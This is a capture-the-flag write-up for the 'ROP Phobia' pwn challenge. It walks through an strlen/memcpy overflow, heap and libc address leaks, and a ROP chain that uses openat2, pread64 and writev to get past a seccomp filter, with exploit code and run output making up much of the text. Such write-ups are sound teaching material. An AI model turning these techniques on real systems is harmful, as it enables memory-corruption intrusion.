ROP Phobia 500

I know, I know everyone has their own fears. Check if you have ROP Phobia or not? If so, overcome it :)

Connection: nc pwn1.blitzhack.xyz 1337

Author: 0x1337

Team: Weak But Leet

Attachment: public.zip xpl.py

Enter student name: a
Enter student major: b
1. Add Courses
2. Show Details
3. Remove Course
4. View Course
5. Submit Project
6. Exit
> 

Looks like your usual note challenge at first, but as the name suggests, it’s a rop challenge and that will be happening in Submit Project.

undefined8 submit(Student *students)
{
  ptrbuf = buf;

  courses_count = size(students.courses);

  if (courses_count == 0) {
    std::cout << "No course registered" << std::endl;    
  }
  else {
    found_pwning = 0;

    for (i = 0; i < courses_count; i++) {      
      if(strstr(students.courses[i].c_str(),"PWNING1337"))
        found_pwning = 1;
        break;
      }
    }

    if (found_pwning == 1) {
        std::cout<<"Feedback for this project: "<<std::endl;
        cin(&ptrbuf);
        setup_filter();
    }
    else {
        std::cout<<"You didn\'t register for this course!\n";
    }
  }
  return 1;
}

So, to be able to give feedback in the first place, we’ll need to have added a course named PWNING1337.

void cin(char **param_1)
{
  ...

  getsline(&input, &read_size);
  len_input = strlen(input);

  if (len_input < 0x409) {
    memcpy(*param_1,input,read_size);
  }
  
  return;
}

In cin the challenge reads the input via getsline and stores the data in input and the number of read bytes in read_size.

It then checks the length of our input via strlen and only copies it into the stack buffer, it it’s not longer than 0x408 bytes.

But memcpy then uses read_size from getsline to copy the data…

Since strlen will stop at the first null-byte in the string, but read_size will contain the real length of our input, we can craft a payload with for example A * 0x408, add a null-byte and then add more characters to it.

strlen will then return 0x408 but memcpy will copy all the bytes after the null-byte also, resulting in a buffer overflow. With this we can start a ropchain. But since PIE and ASLR is active, we don’t know any gadgets by now.

For this we have to abuse the course system a bit to get some leaks.

payload1 = b"A"*0x20

r.sendlineafter(b"name: ", payload1)
r.sendlineafter(b"major: ", payload1)

r.recvuntil(b"> ")

add(b"PWNING1337")              # 0

HEAPLEAK = u64(view(-1)[:-1].ljust(8, b"\x00"))
HEAPBASE = HEAPLEAK - 0x11ee0

log.info(f"LEAK: {hex(HEAPLEAK)}")
log.info(f"HEAP BASE: {hex(HEAPBASE)}")

Since the View Course function doesn’t check the length of the courses vector, we can read oob, and at index -1 we can directly leak a heap address.

Knowing the base of the heap, we can now create a big string and free it (so it doesn’t go into fastbins), by creating a course and removing it.

payload = b"X"*(0x20-8-8)
payload += p64(HEAPBASE + 0x127f0)  

add(payload)                    # 1

payload = p64(HEAPBASE + 0x127f0) * ((int)(0x610/8))

add(payload)                    # 2
free(2)

LIBCLEAK = u64(view(3)[:-1].ljust(8, b"\x00"))
libc.address = LIBCLEAK - 0x3ebca0

log.info(f"LIBC LEAK: {hex(LIBCLEAK)}")
log.info(f"LIBC BASE: {hex(libc.address)}")

Just sprayed the heap with the address of the later freed course, so that we can now leak the main_arena pointer from the freed string by viewing course 3.

With a libc leak, we should now have more than enough gadgets.

But, after reading our input, the binary also registers some seccomp rules, we need to get around.

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x1b 0xc000003e  if (A != ARCH_X86_64) goto 0029
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A <  0x40000000) goto 0005
 0004: 0x15 0x00 0x18 0xffffffff  if (A != 0xffffffff) goto 0029
 0005: 0x15 0x17 0x00 0x00000000  if (A == read) goto 0029
 0006: 0x15 0x16 0x00 0x00000001  if (A == write) goto 0029
 0007: 0x15 0x15 0x00 0x00000002  if (A == open) goto 0029
 0008: 0x15 0x14 0x00 0x00000003  if (A == close) goto 0029
 0009: 0x15 0x13 0x00 0x00000009  if (A == mmap) goto 0029
 0010: 0x15 0x12 0x00 0x0000000a  if (A == mprotect) goto 0029
 0011: 0x15 0x11 0x00 0x0000000b  if (A == munmap) goto 0029
 0012: 0x15 0x10 0x00 0x00000012  if (A == pwrite64) goto 0029
 0013: 0x15 0x0f 0x00 0x00000013  if (A == readv) goto 0029
 0014: 0x15 0x0e 0x00 0x00000028  if (A == sendfile) goto 0029
 0015: 0x15 0x0d 0x00 0x00000038  if (A == clone) goto 0029
 0016: 0x15 0x0c 0x00 0x00000039  if (A == fork) goto 0029
 0017: 0x15 0x0b 0x00 0x0000003a  if (A == vfork) goto 0029
 0018: 0x15 0x0a 0x00 0x0000003b  if (A == execve) goto 0029
 0019: 0x15 0x09 0x00 0x0000003e  if (A == kill) goto 0029
 0020: 0x15 0x08 0x00 0x00000101  if (A == openat) goto 0029
 0021: 0x15 0x07 0x00 0x00000127  if (A == preadv) goto 0029
 0022: 0x15 0x06 0x00 0x00000128  if (A == pwritev) goto 0029
 0023: 0x15 0x05 0x00 0x00000136  if (A == process_vm_readv) goto 0029
 0024: 0x15 0x04 0x00 0x00000137  if (A == process_vm_writev) goto 0029
 0025: 0x15 0x03 0x00 0x00000142  if (A == execveat) goto 0029
 0026: 0x15 0x02 0x00 0x00000147  if (A == preadv2) goto 0029
 0027: 0x15 0x01 0x00 0x00000148  if (A == pwritev2) goto 0029
 0028: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0029: 0x06 0x00 0x00 0x00000000  return KILL

Like in shellphobia most of the useful “default” syscalls are blocked (and architecture is checked this time).

But it’s not as strict as in shellphobia making the flag extraction a lot easier from this point on.

openat2
pread64
writev

are not blocked, and that’s all we need.

add(b"../flag")
add(p64(HEAPBASE + 0x120f0) + p64(100))  # iovec_ptr

POPRAX = libc.address + 0x1b500
POPRDI = libc.address + 0x2164f
POPRDXRSI = libc.address + 0x130539
SYSCALL = libc.address + 0xd2625
POPR10 = libc.address + 0x130515

First, we calculate the needed gadgets, and put the flag filename on the heap and prepare an iovec_ptr for writev, which will point to the buffer, where we’ll later read the flag into.

def syscall(num, rdi, rsi, rdx, r10):
    res = b""
    res += p64(POPRAX)
    res += p64(num)
    res += p64(POPRDI)
    res += p64(rdi)
    res += p64(POPRDXRSI)
    res += p64(rdx)
    res += p64(rsi)
    res += p64(POPR10)
    res += p64(r10)
    res += p64(SYSCALL)
    return res

payload = b"A"*1031 + b"\x00"
payload += b"B"*40
payload += p64(0xfacebabe)

# openat2(AT_FDCWD, HEAPBASE + 0x120f0, HEAPBASE + 0x500, 24, 0)
payload += syscall(0x1b5, 0xffffff9c, HEAPBASE + 0x120f0, HEAPBASE + 0x500, 24)    

# pread64(5, HEAPBASE + 0x120f0, 100, 0)
payload += syscall(17, 5, HEAPBASE + 0x120f0, 100, 0)

# writev(stdout, iovec_ptr, 1)
payload += syscall(20, 1, HEAPBASE + 0x127f0, 1, 0)

r.sendline(b"5")
r.recvline()
r.sendline(payload)

Now we’ll just open the file via openat2 by pointing pathname to the ../flag string we put on the heap. Then we can read the flag via pread64, which works pretty much like read.

writev needs some more preparation, since we need to pass it a pointer to an iovec struct, which contains the addresses of the buffers to write. For that we already created a course, which contains a valid iovecstruct, so we can just use that.

$ python3 xpl.py 1
[*] '/home/kileak/ctf/blitz25/ropphobia_work/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn1.blitzhack.xyz on port 1337: Done
[*] LEAK: 0x563ae9bf6ee0
[*] HEAP BASE: 0x563ae9be5000
[*] LIBC LEAK: 0x7f76de469ca0
[*] LIBC BASE: 0x7f76de07e000
[*] Switching to interactive mode
Blitz{sup3r_r0p_r0p_r0p_368e514668d61}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[*] Got EOF while reading in interactive
$